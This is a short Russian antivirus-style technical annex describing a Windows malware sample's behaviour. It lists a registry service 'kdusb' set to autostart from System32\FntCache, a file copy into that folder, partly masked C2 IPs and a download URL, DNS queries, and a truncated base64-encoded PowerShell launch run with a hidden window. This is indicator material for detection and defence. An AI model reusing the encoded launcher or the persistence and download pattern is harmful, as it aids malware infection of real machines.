Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\kdusb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\kdusb] 'ImagePath' = '"<SYSTEM32>\FntCache\kdusb.exe"'
- 'kdusb' "<SYSTEM32>\FntCache\kdusb.exe"
- 'kdusb' <SYSTEM32>\FntCache\kdusb.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADYAZQBuADkAawBrAD0AKAAoACcAWQB1ACcAKwAnAHcAJwApACsAKAAnAGkAbQB1ACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAUwBFAHIAcABSAG8AZgBJAGwARQBcAE0AdwBnAD...
- %HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe
- <SYSTEM32>\fntcache\kdusb.exe
- %HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe в <SYSTEM32>\fntcache\kdusb.exe
- '19#.#58.216.73':80
- '85.##4.28.226':8080
- http://mo####ialcoop.com/wp-includes/u1weym/
- http://85.###.28.226:8080/xLVnZDKwawOHxDY6Unv/bfUkouuoTsFaGO/9V8MWTiNpUwr/u2TmXfpnE9aRaadvbGU/ via 85.##4.28.226
- DNS ASK mo####ialcoop.com
- '%HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe'
- '<SYSTEM32>\fntcache\kdusb.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADYAZQBuADkAawBrAD0AKAAoACcAWQB1ACcAKwAnAHcAJwApACsAKAAnAGkAbQB1ACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAUwBFAHIAcABSAG8AZgBJAGwARQBcAE0AdwBnAD...' (со скрытым окном)